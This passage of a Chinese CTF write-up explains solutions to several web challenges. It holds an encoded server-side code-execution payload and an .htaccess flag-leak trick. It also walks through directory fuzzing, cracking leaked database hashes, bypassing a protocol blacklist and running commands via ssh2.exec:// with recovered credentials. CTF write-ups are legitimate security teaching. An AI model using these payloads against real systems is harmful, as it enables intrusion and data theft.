7\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0031\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0035\u0062\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0031\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0035\u0064\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0036\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0033\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0033\u0032\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0064\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0033\u0035\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0064\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0034\u0061\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0066\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0037\u0062\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0034\u0035\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0033\u0062\u005c\u0075\u0030\u0030\u0037\u0064\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0033\u0062\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0062\u005c\u0075\u0030\u0030\u0037\u0033\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0033\u0032\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0034\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u0022\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0067\u0065\u0074\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u0022\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u007d\u000a\u007d
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--同时当然也可以UTF-16LE编码绕过,此处不再赘述.
发送后访问网站根目录即可获取flag
ez Upload & ez Upload Revenge
大家伙太强了🥹
预期为:.htaccess利用,apache的RewriteEngine重写引擎利用expr的一个小trick
https://httpd.apache.org/docs/trunk/mod/mod_rewrite.html
payload如下
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"然后新建一个任意文件
一鸣唱吧
随便注册一个账户,注册后登录,会出现俩个功能点。
尝试上传
上传一个文件会得到它的保存目录:uploads/UNiCTF202604.txt
再次上传,会发现规律。
可以发现,当我们上传文件后,会保留上传的后缀名,并且只有后两位数字改变。那么可以遍历一下uploads下是否存在其他的文件。
生成一下0 - 99 的数字
seq -w 0 99 > num.txt
然后使用后缀名字典:/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt
也可用这个/usr/share/wordlists/seclists/Discovery/Web-Content/web-mutations.txt
ffuf -u http://80-3d190993-53d1-4f13-8682-26d9271cb571.challenge.ctfplus.cn/uploads/UNiCTF2026W1W2 -w /tmp/num.txt:W1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2
有一个 UNiCTF202667.db,和 UNiCTF202638.php
关于php,是phpinfo。
从这个可以看出,导入了ssh2模块,得到的一个重要信息。那么我们看一下db文件
将其下载下来后。发现是SQLITE
得到一些凭证,admin用户的第三列是1,其余是0,那么判断其可能为网站的管理员用户。进行hash解密。
使用admin登录。
查看曲库功能,发现多出一个管理员的功能,并且给了提示:可使用file://协议。
直接读取file:///flag会返回错误。那么试着读取源码。
file:///var/www/html/download.php
<?php
// 引入数据库连接
require_once 'includes/db.php';
if (session_status() === PHP_SESSION_NONE) { session_start(); }
if (!isset($_SESSION['user'])) {
require_once 'includes/header.php';
die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
require_once 'includes/footer.php';
}
if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
// ========================================
// 安全过滤:协议黑名单检查
// ========================================
$dangerousProtocols = [
'php://',
'data://',
'phar://',
'zip://',
'compress.zlib://',
'compress.bzip2://',
'zlib://',
'glob://',
'expect://',
'input://',
'http://',
'https://',
'ftp://',
'ftps://',
'dict://',
'gopher://',
'tftp://',
'ldap://',
'ssh2.sftp://',
'ssh2.scp://',
'ssh2.tunnel://',
'rar://',
'ogg://',
];
foreach ($dangerousProtocols as $protocol) {
if (stripos($format, $protocol) !== false) {
require_once 'includes/header.php';
echo "<div class='container'>";
echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
echo "</div>";
require_once 'includes/footer.php';
exit;
}
}
// ========================================
$full_path = $format;
$is_viewing_source = (strpos($format, 'file://') === 0);
if ($is_viewing_source) {
header('Content-Type: text/plain; charset=utf-8');
} else {
header('Content-Type: text/html; charset=utf-8');
require_once 'includes/header.php';
echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
}
try {
$handle = @fopen($full_path, 'r');
if ($handle) {
$content = stream_get_contents($handle);
if ($is_viewing_source) {
echo $content;
} else {
echo htmlspecialchars($content);
}
fclose($handle);
} else {
echo "Error: 资源加载失败。\n";
echo "可能的原因为:\n";
echo "1. 文件路径不存在\n";
echo "2. 权限不足 (Permission Denied)\n";
echo "3. 协议格式错误\n";
}
} catch (Exception $e) {
echo "System Error: " . $e->getMessage();
}
if (!$is_viewing_source) {
echo "</div></div>"; // 关闭 console 和 container
require_once 'includes/footer.php';
}
exit;
}
//普通会员文件下载
require_once 'includes/header.php';
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (strpos($file, '..') === false && strpos($file, '/') === false) {
$filepath = "uploads/" . $file;
if (file_exists($filepath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
} else {
echo "<p class='error'>文件不存在或已被移除。</p>";
}
} else {
echo "<p class='error'>非法请求。</p>";
}
}
$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$current_dir = __DIR__;
$admin_panel = <<<HTML
<div class="admin-panel">
<h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
<p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>
<form method="get" target="_blank">
<input type="hidden" name="preview" value="true">
<label>Resource URI:</label>
<input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
<button type="submit">加载资源</button>
</form>
</div>
HTML;
}
?>
<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>
<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
<h3>📥 歌曲/文件下载</h3>
<form method="get">
文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
<button type="submit">下载文件</button>
</form>
</div>
<?php
echo $admin_panel;
require_once 'includes/footer.php';
?>传入的协议会通过fopen,此函数支持流封装协议。根据ssh2模块的定义,其中有一个ssh2.exec://协议,该协议可以在远程ssh上执行命令。但需要获得一个ssh用户的凭证。
该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd
解密得到ctfer的密码 duhgrl
发现并无错误返回,那么尝试写入文件。
/download.php?preview=true&format=**ssh2.exec://ctfer:duhgrl@127.0.0.1:22/id+>+/var/www/html/1.txt;
CloudDiag
